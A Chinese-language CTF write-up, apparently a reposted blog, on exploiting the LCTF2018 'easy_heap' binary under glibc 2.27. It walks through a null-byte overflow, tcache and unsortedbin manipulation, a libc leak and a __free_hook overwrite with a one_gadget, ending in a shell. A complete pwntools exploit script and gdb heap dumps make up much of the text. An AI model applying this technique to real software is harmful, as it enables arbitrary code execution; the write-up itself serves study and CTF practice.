tcache 利用 part 1

tcache makes heap exploitation easy again

0x01 The pwn of CTF

Challenge 1 : LCTF2018 PWN easy_heap

题目和官方解答链接

基本信息

远程环境中的 libc 是 libc-2.27.so ,所以堆块申请释放过程中需要考虑 Tcache 。

zj@zj-virtual-machine:~/c_study/lctf2018/easy$ checksec ./easy_heap
[*] '/home/zj/c_study/lctf2018/easy/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
基本功能

程序通过在 heap 上的一块内存( size 为 0xb0 )管理申请的堆块的头地址和我们想要写入堆块的字节数 ,总共可以申请 10 个固定大小为 0x100 的 chunk 来存放我们写入的信息 ,程序具备 show 的功能 ,可以打印堆块中的内容 ,另外程序具备删除堆块功能 ,选择删除 chunk 会先把 chunk 中的内存覆盖成 ‘\0’ ,然后再执行 free 函数 。

程序的读入输入函数存在一个 null-by-one 漏洞 ,具体见如下代码

unsigned __int64 __fastcall read_input(_BYTE *malloc_p, int sz)
{
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  i = 0;                                        
  if ( sz )
  {
    while ( 1 )
    {
      read(0, &malloc_p[i], 1uLL);
      if ( sz - 1 < i || !malloc_p[i] || malloc_p[i] == '\n' )
        break;
      ++i;
    }
    malloc_p[i] = 0;
    malloc_p[sz] = 0;                           // null-bye-one
  }
  else
  {
    *malloc_p = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}
利用思路

通常来讲在堆程序中出现 null-by-one 漏洞 ,都会考虑构造 overlapping heap chunk ,使得 overlapping chunk 可以多次使用 ,达到信息泄露最终劫持控制流的目的 。

本题没有办法直接更改 prev_size 这一字段为 0x200 0x300 类似的值 ,所以传统上直接在几个 chunks 中间夹一个 chunk 然后 free 掉更高地址的 chunk 触发向低地址合并的方法得到大的 unsortedbin chunk 的方法在此处并不适用 。

所以如果我们要实现 leak ,我们仍然需要把 main_arena 相关的地址写到一个可以 show 的 chunk 里面 。这里提供一种方法 ,先连续申请 10 个 chunk(szie 0x100) ,然后连续释放 7 个 chunk ,刚好可以填满一个 tcache bin ,

然后再连续释放剩下 3 个 chunk ,这 3 个 chunk 便可以进入 unsortedbin ,注意到进入 unsortedbin 的 3 个 chunk 中的第二个 chunk 的 fd ,bk 上的值 ,就会发现把第二个 chunk 作为后面我们要 unlink 掉的 target chunk 是合适的 。

单独看上面的思路有点抽象 ,接下来跟着具体的 exp 来理解这个过程 ,就会比较自然 。

操作过程
  • exp 的函数定义部分
#!/usr/bin/env python
# coding: utf-8
from pwn import *

local = True
if local:
    p = process('./easy_heap') env={'LD_PRELOAD': './libc64.so'})

# aggressive alias
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
se = lambda x: p.send(x)
sel = lambda x: p.sendline(x)
pick32 = lambda x: u32(x[:4].ljust(4, '\0'))
pick64 = lambda x: u64(x[:8].ljust(8, '\0'))

libc = ELF('./libc64.so')

def malloc(p, sz, pay):
    ru('> ')
    sel(str(1))
    ru('> ')
    sel(str(sz))
    ru('> ')
    se(pay)

def free(p, idx):
    ru('> ')
    sel(str(2))
    ru('> ')
    sel(str(idx))

def puts(p, idx):
    ru('> ')
    sel(str(3))
    ru('> ')
    sel(str(idx))
  • 先申请 10 块 chunk ,再全部释放掉
    #ps :第一次申请的 10 chunk 是连续相邻的 ,我们把第一次申请得到的 chunk 分别编号 id0 ~ id9 以便后面跟踪这些 chunk
    #0~9
    malloc(p, 248-1, '0'*7+'\n') #0 id0
    malloc(p, 248-1, '1'*7+'\n') #1 id1
    malloc(p, 248-1, '2'*7+'\n') #2 id2
    malloc(p, 248-1, '3'*7+'\n') #3 id3
    malloc(p, 248-1, '4'*7+'\n') #4 id4
    malloc(p, 248-1, '5'*7+'\n') #5 id5
    malloc(p, 248-1, '6'*7+'\n') #6 id6
    malloc(p, 248-1, '7'*7+'\n') #7 id7
    malloc(p, 248-1, '8'*7+'\n') #8 id8
    malloc(p, 248-1, '9'*7+'\n') #9 id9
    
    #fill tcache : need 7 chunk
    #ps :kong1 表示 heap 上数组 arr 存第一个 chunk 信息的位置 空 闲出来了 ( 存 chunk 地址的位置值变成 NULL ,存 size 的位置值也为 0 )
    #ps :所以数组 arr 中的一个位置实际上占用的是 0x10 个字节
    free(p, 1) #kong 1
    free(p, 3) #kong 3
    free(p, 5) #kong 5
    free(p, 6) #kong 6
    free(p, 7) #kong 7
    free(p, 8) #kong 8
    free(p, 9) #kong 9

    #place into the unso bk: 0 2 4
    free(p, 0) #kong 0
    free(p, 2) #kong 2  other point: place  0x100 in prev_size of id3 chunk
    free(p, 4) #kong 4
  • 经过上述操作后 ,内存布局如下
#ps :id0 之前是 tcache chunk( size 0x250 ) ,紧接着是管理后续分配的 chunks(id0~id9) 的 chunk( size 0xb0)
#ps :注意一下 id0 id2 id4 chunk
gdb-peda$ x/300xg 0x55e5d0fdf300
0x55e5d0fdf300:(!!!)0x0000000000000000	    0x0000000000000101    ===> id0
0x55e5d0fdf310:	 ^  0x00007fa5c2e18ca0	    0x000055e5d0fdf500
0x55e5d0fdf320:	 |  0x0000000000000000	    0x0000000000000000
...............  |                           
0x55e5d0fdf3f0:	 |  0x0000000000000000	    0x0000000000000000    
0x55e5d0fdf400:	 |  0x0000000000000100	    0x0000000000000100    ===> id1
0x55e5d0fdf410:	 |  0x0000000000000000	    0x0000000000000000
...............  |                           
0x55e5d0fdf4f0:	 |  0x0000000000000000	    0x0000000000000000
0x55e5d0fdf500:	 +  0x0000000000000000	    0x0000000000000101    ===> id2
0x55e5d0fdf510: (fd)0x000055e5d0fdf300	(bk)0x000055e5d0fdf700
...............                           + 
0x55e5d0fdf600:	    0x0000000000000100	  | 0x0000000000000100    ===> id3 注意这个地方的 prev_size 已经填上了 0x100
0x55e5d0fdf610:	    0x000055e5d0fdf410	  | 0x0000000000000000
0x55e5d0fdf620:	    0x0000000000000000	  | 0x0000000000000000
...............                           |
0x55e5d0fdf700:(!!!)0x0000000000000000<---+ 0x0000000000000101    ===> id4
0x55e5d0fdf710:	    0x000055e5d0fdf500	    0x00007fa5c2e18ca0
0x55e5d0fdf720:	    0x0000000000000000	    0x0000000000000000
...............                             
0x55e5d0fdf800:	    0x0000000000000100	    0x0000000000000100    ===> id5
0x55e5d0fdf810:	    0x000055e5d0fdf610	    0x0000000000000000
0x55e5d0fdf820:	    0x0000000000000000	    0x0000000000000000
...............                             
0x55e5d0fdf900:	    0x0000000000000000	    0x0000000000000101    ===> id6
0x55e5d0fdf910:	    0x000055e5d0fdf810	    0x0000000000000000
0x55e5d0fdf920:	    0x0000000000000000	    0x0000000000000000
...............                             
0x55e5d0fdfa00:	    0x0000000000000000	    0x0000000000000101    ===> id7
0x55e5d0fdfa10:	    0x000055e5d0fdf910	    0x0000000000000000
0x55e5d0fdfa20:	    0x0000000000000000	    0x0000000000000000
...............                             
0x55e5d0fdfaf0:	    0x0000000000000000	    0x0000000000000000    ===> id8
0x55e5d0fdfb00:	    0x0000000000000000	    0x0000000000000101
0x55e5d0fdfb10:	    0x000055e5d0fdfa10	    0x0000000000000000
...............                             
0x55e5d0fdfc00:	    0x0000000000000000	    0x0000000000000101    ===> id9
0x55e5d0fdfc10:	    0x000055e5d0fdfb10	    0x0000000000000000
0x55e5d0fdfc20:	    0x0000000000000000	    0x0000000000000000
...............                             
0x55e5d0fdfd00:	    0x0000000000000000	    0x0000000000020301    ===> top
0x55e5d0fdfd10:	    0x0000000000000000	    0x0000000000000000

# tcache next : id9->id8->id7->id6->id5->id3->id1
# unsortedbin bk :id0-->id2-->id4
  • 再连续申请 7 chunk ,使得后续的 unsortedbin chunk 有机会进入到 tcahce
    #get chunk from tcache
    #ps :#0 id9 表示现在申请的 chunk 会被填到 arr 数组的第 0 个位置 ,但是申请得到的 chunk 是初始时候我们编号的 id9 chunk
    malloc(p, 240, '\n') #0 id9
    malloc(p, 240, '\n') #1 id8
    malloc(p, 240, '\n') #2 id7
    malloc(p, 240, '\n') #3 id6
    malloc(p, 240, '\n') #4 id5
    malloc(p, 240, '\n') #5 id3
    malloc(p, 240, '\n') #6 id1
    
    # 之后如果再申请 ,就会导致 unsortebin chunk 进入到 tcache
    #get id4 (id 0 2 4 get to tcache,the tcache next :4->2->0, so get id4 first from tcache)
    malloc(p, 240, '\n') #7 id4 :keep the fd_of_id4 = id2
    #get id2 (fd_of_id2->bk->fd = id2 and bk_of_id2->fd->bk = id2) satisfy the condition that unlink id2
    malloc(p, 248, '\n') #8 id2 0xf8=248 ===>id3 prev:0x100 size:0x100
    
    #now id0 is in tcache, so just need free other 6 chunk to fill the tcache ; and the bk_of_id0 = id2
    free(p, 6)  #kong6   id1
    free(p, 4)  #kong4   id5
    free(p, 3)  #kong3   id6
    free(p, 2)  #kong2   id7
    free(p, 1)  #kong1   id8
    free(p, 0)  #kong0   id9

    #if free id3 will place in unsortedbin , and free id3 will find that id2 is freed , so the unlink will happen , merge to id2
    free(p, 5)  #kong5  id3  unlink id2-->0x200    
    
  • 经过上述操作后 ,内存布局如下
gdb-peda$ x/300xg 0x55e5d0fdf300
0x55e5d0fdf300:	0x0000000000000000	0x0000000000000101    ===>  id0
0x55e5d0fdf310:	0x0000000000000000	0x000055e5d0fdf700
0x55e5d0fdf320:	0x0000000000000000	0x0000000000000000
...............
0x55e5d0fdf400:	0x0000000000000100	0x0000000000000101    ===>  #6 id1
0x55e5d0fdf410:	0x000055e5d0fdf310	0x0000000000000000
0x55e5d0fdf420:	0x0000000000000000	0x0000000000000000
...............
0x55e5d0fdf500:	0x0000000000000000	0x0000000000000201    ===>  #8 id2  can leak , becasue the #8 we can show
0x55e5d0fdf510:	0x00007fa5c2e18ca0	0x00007fa5c2e18ca0
0x55e5d0fdf520:	0x0000000000000000	0x0000000000000000
...............
0x55e5d0fdf600:	0x0000000000000100	0x0000000000000100    ===>  #5 id3
0x55e5d0fdf610:	0x0000000000000000	0x0000000000000000
0x55e5d0fdf620:	0x0000000000000000	0x0000000000000000
...............
0x55e5d0fdf700:	0x0000000000000200	0x0000000000000100    ===>  #7 id4
0x55e5d0fdf710:	0x000055e5d0fdf300	0x00007fa5c2e18ca0
0x55e5d0fdf720:	0x0000000000000000	0x0000000000000000
...............

  • 信息泄露
    #leak the unsortedbin addr
    puts(p, 8) #show id2
    unso_addr = pick64(r(6))
    print "unso_addr @ " + hex(unso_addr)
    libc_base = unso_addr - (0x00007f94a5acbca0-0x00007f94a56e0000)
    print "libc_base @ " + hex(libc_base)
    free_hook = libc_base + (0x7f94a5acd8e8-0x00007f94a56e0000)
    one_shoot = libc_base + 0x4f322     #execve("/bin/sh", rsp+0x40, environ)
  • 改写 tcache 的 next ,再分配 chunk ,得到 shell
    #get chunk from tcache
    malloc(p, 240, '\n') #0 id9
    malloc(p, 240, '\n') #1 id8
    malloc(p, 240, '\n') #2 id7
    malloc(p, 240, '\n') #3 id6
    malloc(p, 240, '\n') #4 id5
    malloc(p, 240, '\n') #5 id1
    malloc(p, 240, '\n') #6 id0

    #cut from the unso, the left of id2_3chunk placed in unso
    malloc(p, 240, '\n') #9 the id2 of id2_3 tips: #8:id2;so we can double free tcache chunk

    #placed in tcache
    free(p, 0) #kong0 id9 just for give a position to malloc
    free(p, 8) #kong8 id2
    free(p, 9) #kong9 id2

    #get from tcache
    malloc(p, 240, p64(free_hook) + '\n') #0 id2
    malloc(p, 240, '\n') #8 id2
    malloc(p, 240, p64(one_shoot) + '\n') #9 free_hook_chunk

    #one_shoot triger
    free(p, 1)  #1 id8
    p.interactive()
Challenge 1 小结

尽管作者尽力展示所有的细节 ,发现越要展示更多细节 ,越不容易讲清楚 ,所以最好画图和亲自调试一下 。简单来讲就是在某些限制下如何通过一系列的操作 tcahce chunk 和 unsortedbin 实现 unlink 。

猜你喜欢

转载自blog.csdn.net/m0_37329910/article/details/84744491